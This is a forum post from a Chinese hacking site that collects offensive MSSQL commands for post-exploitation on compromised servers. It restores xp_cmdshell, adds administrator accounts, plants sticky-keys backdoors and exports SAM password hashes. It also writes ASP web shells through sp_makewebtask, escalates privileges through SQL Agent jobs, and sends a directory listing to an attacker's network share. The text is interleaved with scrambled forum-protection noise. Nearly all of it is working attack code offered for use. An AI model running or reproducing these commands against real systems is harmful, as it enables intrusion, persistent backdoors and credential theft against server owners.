找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2214|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号' l1 R5 c  k7 h1 x+ b
恢复方法:查询分离器连接后,
& ~3 l8 z5 |: ?1 _2 g* K; j第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
5 D. e2 Z+ ^5 [: F2 k第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 5 c& z! @) s  l' r, I
然后按F5键命令执行完毕
" y9 s+ J! r# f- M' O( b/ T- S7 D( x) T% Z" F2 w( A4 s
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
0 l* Y# W! x$ ?3 U! f$ u7 v恢复方法:查询分离器连接后,
/ d" b& k+ k  ^第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
1 x  m4 y) p" {' `# x, @. ^2 p第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'& ?! r9 N+ x! L
然后按F5键命令执行完毕* ~7 q5 R: y8 _- r( T. N

% ~) m$ f8 }+ N2 V. V3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。). i( O  _4 G% s3 Y$ ?5 m
恢复方法:查询分离器连接后,: \' o0 J  h; S  r" J: s3 @2 b
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
2 r$ g  O" I6 `# x( b第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
, g3 s$ A5 i7 {* V$ g+ d然后按F5键命令执行完毕$ Z$ s+ f' _& y2 g/ K' d7 T' y" w/ n
: _- D: @2 Z9 c7 _0 a; O: B
4 终极方法.
$ b+ W7 F- ?- d$ f1 {# e如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:# ^% R9 F5 t& x9 q
查询分离器连接后,
5 u3 x4 Y5 k" t' h. H2000servser系统:3 D$ z3 B8 B5 s. |6 O0 d6 r. s
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'+ f+ |: \/ Q) |; S' m

' C+ t, u. X9 @( b" adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'( y+ M5 N3 J! p) _/ N; d7 {; r
+ K- w( G6 `& F3 c+ U; \% x
xp或2003server系统:2 `& J0 h' j8 y  A2 s; ]
. Y6 I+ m( h7 e' D' r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
7 h  K& S6 L, w, u# b& T& h; U) }9 C4 U" X7 D2 O+ k
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'! ~8 U5 H& w6 ?$ `

, h% g0 O. [# S; V8 c
/ c$ ?, a2 B- R' B7 V+ m6 C* e五个SHIFT9 z, F! j2 g% s9 `( Q7 }5 z
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';8 k( c& R7 J  z- i

7 ^: `" U9 \  ^2 T3 ]6 F- V( Edeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
& c" c9 Z0 c7 S6 G  O3 m2 p6 \
xp_cmdshell执行命令另一种方法) |' O7 A4 M0 x: |2 I
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' : M" q. y0 t! y2 H5 K$ y  H: `
7 J" G# s) B5 p  }
判断存储扩展是否存在
9 g9 v# O6 N1 V9 Z2 e8 R' o/ WSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& a5 b5 ^. m5 }0 i/ ^3 a% ?返回结果为1就OK# \/ S1 A' X( U) v; F# F
, c4 o% g/ m- T. {! ^1 k

" E# \) f+ A+ N; {0 w+ E. e上传xplog70.dll恢复xp_cmdshell语句:
$ l# ]* Y0 \4 a5 p9 V% e4 Ksp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
6 }0 k' j" ?- n8 \
: p. i; }: q8 z* ]  o否则上传xplog7.0.dll
* ]- O2 x5 p4 X+ y7 VExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'3 F9 Q3 W9 l3 D& v1 _
0 K; L8 k" ^6 V6 o0 L2 `1 n

; \0 u% \, P; ?# z7 j
: z0 K" ^* t  |: g首先开启沙盘模式:
1 |& g) G4 i8 w9 pexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
$ r5 K# t( |  Y, z' H4 _; a$ B3 b5 K; W" u
然后利用jet.oledb执行系统命令8 D' T* S$ }7 {, `2 Q" u
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ B2 b# p4 d, s1 x6 {. a8 e7 `1 H+ d5 U; n返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
, q* ^) `8 J- M3 y" \( A- B9 K$ |, R: h: W3 V
! g' p" V$ u/ x0 x0 n0 s8 h

2 I8 n( [; L" C: }9 i* g4 \& e恢复过程sp_addextendedproc 如下: ! v/ Q5 `5 J% g. [/ B
create procedure sp_addextendedproc --- 1996/08/30 20:13 2 D4 v2 C0 u: O1 \5 O' _
@functname nvarchar(517),/* (owner.)name of function to call */ $ d! v5 e% s1 C
@dllname varchar(255)/* name of DLL containing function */
: ~+ I8 E& ?4 Y( d1 yas . O- P- `1 r6 T2 P0 }
set implicit_transactions off , }& \% x9 {  l0 @2 f1 [
if @@trancount > 0 . }9 l8 V7 u( s8 k( r; s0 D
begin
7 q. t2 O' {9 U9 H/ b4 l. ~5 Q9 Sraiserror(15002,-1,-1,'sp_addextendedproc')
9 g0 K7 m  M( U/ ?) oreturn (1)
: D5 v/ i3 P! M% send
5 _) _$ ^- A. H  Qdbcc addextendedproc( @functname, @dllname) 5 X2 K. Z# c" @- L6 Q$ y+ [+ C) h
return (0) -- sp_addextendedproc
2 A5 y* r, N4 k( k4 FGO
( [; J5 ]9 X/ ?2 b4 C9 }
& E7 Q) S& r9 a) V+ z  o. X" f/ Z+ j1 Z* c' {9 g. v

: R6 x0 n: u9 a* L6 \- A) d$ t  A导出管理员密码文件
/ f) k1 t; L) ~1 `% Gsa默认可以读sam键.应该。
' J1 X: }) \2 Breg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
1 U5 V1 t8 j: S1 r  Dnet user administrator test8 [0 i, j2 _9 Y, j& {
用administrator登陆.& ^7 ^5 Z) u" Y0 x1 t6 X* `1 H
用完机器后6 x! e/ `. l, [- |
reg import c:\test.reg* \  `' A6 L0 z! W3 W9 A6 F
根本不用克隆.1 M) K3 J1 y7 |! u" o- ^
找到对应的sid.
. f; I9 ?# E' B/ k* T+ e8 f# a
; L8 {$ o7 q+ c/ S, H" q
: {! D- |7 }2 C  X/ W
& c$ S8 c9 v: K& W! r% G; \恢复所有存储过程1 q2 B+ d* g+ j0 k, H/ x! `
use master
1 A& D( X3 L( b! |+ Cexec sp_addextendedproc xp_enumgroups,'xplog70.dll' " ^7 \. P  ^2 u$ ]  h; r5 g) S
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 3 n! U& q3 o. I: y. G" o
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
) h: L7 w: k0 G* gexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
, ]: E* \1 A* N2 oexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
# `# h! H  R7 Q6 Kexec sp_addextendedproc sp_OACreate,'odsole70.dll'
. l% w7 ?0 q1 s9 dexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
7 `6 w. z% L9 X' H$ O+ m5 ~, x. [5 eexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
" y; f( q/ p2 R! o; O# h+ iexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 9 X( p- G# A/ n; ~' d1 f
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
9 r* h9 t, h4 G# U9 l" E! Rexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
: |8 A. w- k! l* }8 o9 x8 Oexec sp_addextendedproc sp_OAStop,'odsole70.dll'
2 B3 {- {' J; e/ V2 }" t! c6 Yexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
9 [4 }; T0 T8 b6 Pexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 3 ?  @- b5 l8 [! P3 `
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
, i, K& y9 }) h: L, {5 kexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
6 U& B7 p$ m% A& A: }& \exec sp_addextendedproc xp_regread,'xpstar.dll'
  j8 c6 R6 t) a" jexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' " U7 a8 N/ B9 `7 {1 Z
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ; D# M  o- @3 e. E
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'3 m/ ~6 i" }+ ~$ w( _

1 e2 c" g) E" n% B8 Q0 w3 K3 ?0 L( J, j% B% ?7 Q( S% c$ |
建立读文件的存储过程' P) s4 d/ t7 k$ S
Create proc sp_readTextFile @filename sysname
, p! K  U) G1 \% qas
0 ]% `, f- J) {$ @6 |+ b6 g6 y; E- t: J. |; e4 Z
    begin
3 P7 g' K1 U( V9 J    set nocount on 8 d( B8 n7 _# l7 C* V. j2 s
    Create table #tempfile (line varchar(8000))
6 d+ X0 \. e& c8 Y    exec ('bulk insert #tempfile from "' + @filename + '"')
: p+ h( Y# u" N/ A$ ^/ E$ \    select * from #tempfile2 E  \! B6 C- m* B: y6 `% h; M
    drop table #tempfile) t' I) H; [0 y
End/ w! y. {2 \& s# v# K
. J! ^+ Q' `* Y; B' q
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
. X$ l# G9 i$ d2 d7 ]查看登录用户: b" N7 i8 O2 P: k
Select * from sysxlogins9 {& O2 C( q) _! B2 ^
) o4 W$ d# u& i+ H
把文件内容读取到表中
+ P& X) F( j7 ABULK INSERT tmp from "c:\test.txt", ]& x8 W& t* q* c8 b
dElete from 表名 清理表里的内容
1 r/ R" N: S: V2 {  ]' zcreate table b_test(fn nvarchar(4000));建一个表,字段为fn! [9 G5 ?. k4 J
5 W6 ?* r/ @' j3 ]' |  X" j
; h2 `! Y/ b0 o
加sa用户* A& U$ S. p# R& p, A5 w
exec master.dbo.sp_addlogin user,pass;1 q  q" i  i( \' a
exec master.dbo.sp_addsrvrolemember user,sysadmin, ?/ s$ k2 F8 E
1 {+ _& z; [" [" ^# X
' D' E: e$ o) g* l3 P8 I

0 V% Y3 S; `/ j0 f- H读文件代码
- l2 W) O0 I7 c& C' l6 v* wdeclare @o int, @f int, @t int, @ret int# c4 K2 Y) N  x* F
declare @line varchar(8000)6 m' n! W0 R2 J
exec sp_oacreate 'scripting.filesystemobject', @o out4 _3 v3 a9 `4 _/ ]: e6 D' \
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
- k8 H/ I! G9 u  Mexec @ret = sp_oamethod @f, 'readline', @line out- U- J' i# R) S( e
while( @ret = 0 )' ^! a1 a" W8 t  l* W
begin
$ c3 x9 q1 j2 c" O2 b9 Bprint @line
: Q, y  X1 a/ p9 A' Eexec @ret = sp_oamethod @f, 'readline', @line out
) F5 M& Z" w" d. c, a6 d( G4 jend* o# W: E6 M: X# d) S" `1 V: L
2 u& i  b7 L, ]6 u9 a+ I

/ f/ C2 `8 F* c% q6 i写文件代码:3 ]5 f5 ]- t8 W6 Z& S5 u
declare @o int, @f int, @t int, @ret int
; k. Y* Z8 d! q1 `6 s) Oexec sp_oacreate 'scripting.filesystemobject', @o out) [! d0 Z6 V' R# E
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 18 I9 R0 c& f* V* r
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》3 a- M- `$ M/ C$ ~! g
5 Z, v1 q( i5 ]' ^. ^) o

% I) G2 \" Z$ I/ |, D: G/ @添加lake2 shell
+ U) w9 O  p  g3 |sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'- P7 }) _( x4 y& Z" {3 t: r8 ?0 U
sp_dropextendedproc xp_lake2
& {: @0 d! e5 i% e3 |0 z- XEXEC xp_lake2 'net user'" @( m" @% P. i9 X& L5 A

# Q  r/ F% U- N3 n2 I9 s/ a
# {  n6 v, z0 B% W! i得到硬盘文件信息 & n3 U# R* O8 W3 ^( i" P. x  @
--参数说明:目录名,目录深度,是否显示文件 4 V% E: Y$ Z+ {% [1 b4 E/ q4 W
execute master..xp_dirtree 'c:' 3 j! a* Y, j, J& n
execute master..xp_dirtree 'c:',1 - j' e3 s" ?! d6 K% w  h1 t" G
execute master..xp_dirtree 'c:',1,1
! P- x3 b- x& j; @# i
& _2 \3 g. \1 w" h( L7 E# N; A: t8 W: J' w1 L
读serv-u配置信息
1 I: H! c. l+ e! r- T4 l: l) u' ?exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
( F/ y$ d. @3 i- K% r0 Vexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
8 E: ^) v; z, S4 ]. S/ N; t* L7 d( W" b, z  b9 U! s
通过xp_regwrite写SHIFT后门
  a8 s! V' a% f" oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--, L" m3 z6 U0 ^5 B. l

# q8 q3 A3 S/ P% u9 n2 {8 n
! v2 z0 f$ i  s5 ^/ c' ^) j! f4 r( K* Y  g
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
6 F7 J6 @; V8 n! _' ?" texec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
8 w& p# n) s" F! I4 b7 |. C8 I- \& E$ u; e7 F$ Q# _
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 L0 {( Y  G( c1 j  f1 O2 h9 l. f4 E% J

9 r! ^' ?% a7 M- j! ?1 @0 A  y7 \* X- N
sql server 2005下开启xp_cmdshell的办法) P+ A1 s+ y. d; h- M

! c* n8 v8 {( oEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
4 `  O# x# G6 y* K' V4 D: I- e+ K# R% H; D0 z
SQL2005开启'OPENROWSET'支持的方法:
9 g$ c: G, N6 j
3 I2 }! t) \" S* V. y6 a! `exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;( N1 S& ~+ }: C1 Z

% B' D! p# V0 v4 w( SSQL2005开启'sp_oacreate'支持的方法:" R7 r1 P( M7 O. N, t2 S

1 `* W  F% h- `3 @: z# w/ zexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;1 Y* X0 I! y2 b* [( @1 T

6 t  W$ l+ u) I! D1 z& s. s% R5 T9 J' T% u0 i% u* k5 S
4 u+ v) i3 K3 K

# i) X+ \" M, e9 w
4 @  G0 G! j# y( E& `
# [, h" W& r+ x( Y+ A# R7 R3 ?1 X
$ q0 K0 K' c7 t
3 O! f2 C. M8 U
8 J. O9 i. Z( {$ X' @
( |) u( q) k( e$ @6 q$ J

* H. |7 h* ~  O4 H$ E% J  |1 A$ C$ i: ^+ S: I9 T

4 _) t' }9 [- X. E& m5 b  T# M+ q' j! p/ |. O
3 C5 K/ s, n1 b( o1 w5 O! K6 I

0 B1 K- P" c: \' \2 K  v0 O4 r% v* ^  v, G+ M! f6 H, r% v8 x7 b
: x- |/ ^% N0 V2 c) }' T9 k% _

$ P, P1 f% H  ^; ?
$ E/ ~  E6 A# l: c$ b# b/ Q. |6 z$ q
* z8 O/ g' @3 d) T* N
9 S, i' j" y+ O1 h  V  z" l4 j1 {: U2 n  X# I
以下方面不知道能不能成功暂且留下研究哈:. o/ A: {) F8 R9 N9 I4 B
4)0 m$ i, R3 {: J: E
use msdb; --这儿不要是master哟# G5 I/ C# Z# t6 y
exec sp_add_job @job_name= czy82 ;4 [, D- ]; K- ?9 Y" H( o1 W( V
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
  A  G* F& f. {3 hexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;/ `3 u# |, p. n8 g2 |
exec sp_start_job @job_name= czy82 ;& m  p' r8 I/ F! n% Z
# J' L# n, }4 s* R, C
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以1 }3 z! x& i! j& e; t8 `
执行tsql语句了.
! M" `+ R" c2 ^" e3 Q9 G6 h对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名) A0 ^, I+ e. V; }* o3 N
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
7 ]* m3 a0 n- q2 J2 Enet start SQLSERVERAGENT  Y+ y; I) o( H8 ]' X; R
, i9 Q, r# C, u
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
" e. R; b+ G7 Y( V  N# F. kUSE msdb1 o% q- i" z9 B' G( f5 K2 T
EXEC sp_add_job @job_name = GetSystemOnSQL ,2 i! t  c4 ?8 @* o  L4 i& d# V$ ~' q
@enabled = 1,/ d  ]2 J% {1 E, ]
@description = This will give a low privileged user access to
) _3 N! T- S5 v0 jxp_cmdshell ,7 h+ T, B+ _/ R# i3 N
@delete_level = 1
$ ~* ^& ?6 y& A5 H: i9 vEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
; @1 K" t9 d' \- [6 ^& J@step_name = Exec my sql ,, h9 W) }2 y- G5 |
@subsystem = TSQL ,
, l& U0 d# G5 v0 V@command = exec master..xp_execresultset N select exec" G/ _" O7 |, P* h& }0 E
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master , X8 b8 Z- ]. ~: n9 t) a
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
( [) J, j$ l( q3 }% z, G% E@server_name = 你的SQL的服务器名
" u, u9 R! E% N' ?EXEC sp_start_job @job_name = GetSystemOnSQL % D! [5 B% T+ ~2 Z# P5 s/ b1 k& D
/ `0 |: [% @1 V
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
  u# A+ K: F. i4 O才让我们可以以public执行xp_cmdshell1 l6 W2 @, C" E+ v

, }( t: ~! p9 D* K' @/ T" q5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以). [* j0 m9 r! u! L
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968, H) a+ _2 f3 M7 c' Y. _
# a1 B  {, U4 d
USE msdb# w' V: C3 P, _) x) z
EXEC sp_add_job @job_name = ArbitraryFilecreate ,' J4 c! h( y+ L: v( u% q7 t3 @
@enabled = 1,
9 {8 Z( R4 Q6 ^( S@description = This will create a file called c:\sqlafc123.txt ,
% ^! v' h- ]' O4 T3 A@delete_level = 1
7 E1 x0 \  e( H' X3 IEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,5 i0 Z, K# n) @/ d" d
@step_name = SQLAFC ,
: |( Y5 H8 n% E; I! p; Y- [@subsystem = TSQL ,
4 P, l; f% Y) t@command = select hello, this file was created by the SQL Agent. ,
0 Z1 f! u( c) k( v" O3 N@output_file_name = c:\sqlafc123.txt 8 O; O- g1 t; D$ l
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,( U4 e/ r3 Q" u1 z0 d
@server_name = SERVER_NAME
+ b3 v4 s) |+ C3 r# o8 FEXEC sp_start_job @job_name = ArbitraryFilecreate
2 v1 M; a! W! N% ], r7 Q1 h- q& B* P7 |
如果subsystem选的是:tsql,在生成的文件的头部有如下内容$ V5 ~7 S+ d3 O
; n' a$ [' j, C3 T
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
1 z3 {, z7 T; ?2 z! e. n5 i8 `6 u----------------------------------------------3 y3 y: I9 F, O8 b" p
hello, this file was created by the SQL Agent.
+ Z, F2 k0 w2 H4 i) L  }/ c, r) @4 o6 ^+ B; j' M4 B3 |$ V5 u: H
(1 ?????)' b$ J/ ?8 ~% P- W6 p! X% R8 @; e! R6 M

) g, e2 R8 A: b4 h所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员: ~7 S# K+ o9 @, J3 z! F& f5 M
命令的vbs文件到启动目录!% q6 V9 V! e: C; R; c; t6 m2 a& A
! Z' ?- @! t) j9 N+ {3 X
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)1 k) v! _7 t; w, k
关于sp_MScopyscriptfile 看下面的例子
, d$ N0 y! F, l6 K" Wdeclare @command varchar(100) % ^8 L8 u5 n6 y+ }/ ?3 ?9 Y
declare @scripfile varchar(200)
6 e2 D* p: i( T$ Z' pset concat_null_yields_null off 1 g, q& t1 N" a5 v1 j4 [
select @command= dir c:\ > "\\attackerip\share\dir.txt" 8 f" |% b, k6 }. `( w
select @scripfile= c:\autoexec.bat > nul" | @command | rd " " L) Z3 A7 v& ~% v4 K
exec sp_MScopyscriptfile @scripfile ,
3 s) d# z0 Y: S+ i# I( c
: x4 _2 ?8 z6 ^5 L这两个东东都还在测试试哟
. @. }- t9 o( o( X2 \. _" l0 B& n让MSSQL的public用户得到一个本机的web shell
( d2 E5 {  x. s
& f3 v9 t+ ^# Y* u9 Z) Ysp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,# g- E# x- T; w# v
--@query= select <img src=vbscript:msgbox(now())> 5 B, \! B. z( R+ Q; g) j
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 3 l" @4 H' s7 C5 N: P' I8 I/ D7 a
@query= select
: Z) |- w. `5 `: G1 s<%On Error Resume Next / s8 ^( d6 W/ A' T# X5 h7 F2 P% M: r
Set oscript = Server.createObject("wscript.SHELL")
6 u* J8 p) r  _5 z4 f. G  N- RSet oscriptNet = Server.createObject("wscript.NETWORK")
- H7 l; s5 t  j" c; l1 TSet oFileSys = Server.createObject("scripting.FileSystemObject") & q5 [# J: Q. i/ M7 |5 N9 w
szCMD = Request.Form(".CMD")
7 J: F  ^2 Z. `7 U: iIf (szCMD <>"")Then : |! V- O7 W  m9 T9 g% \
szTempFile = "C:\" & oFileSys.GetTempName() 2 |1 D  p/ s' d
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
8 b4 V  e; X1 W$ tSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) # I3 s5 e( p( `7 I1 C! a7 v
End If %> 6 O# g+ W3 i9 e1 M4 A" r: \
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
7 A" [8 Z0 l& M6 E$ t<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
! f* P( c. B# x, E; v</FORM><RE>
: M6 p$ S1 `, {<% If (IsObject(oFile))Then
: r; J# f! M* @0 o9 J$ S6 N/ }On Error Resume Next + t+ F  C! |. p, f2 b, S/ R
Response.Write Server.HTMLEncode(oFile.ReadAll) , x1 `! H  z& R  ]
oFile.Close 7 o) K  s7 F9 J
Call oFileSys.deleteFile(szTempFile, True)
: h) m2 C+ M- Y$ ~/ Q1 i: _: m$ fEnd If%> , Y% Q0 J/ @& t8 ^: k& P
</BODY></HTML>
( Y& v4 o; Y& Z( v) U3 H- d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表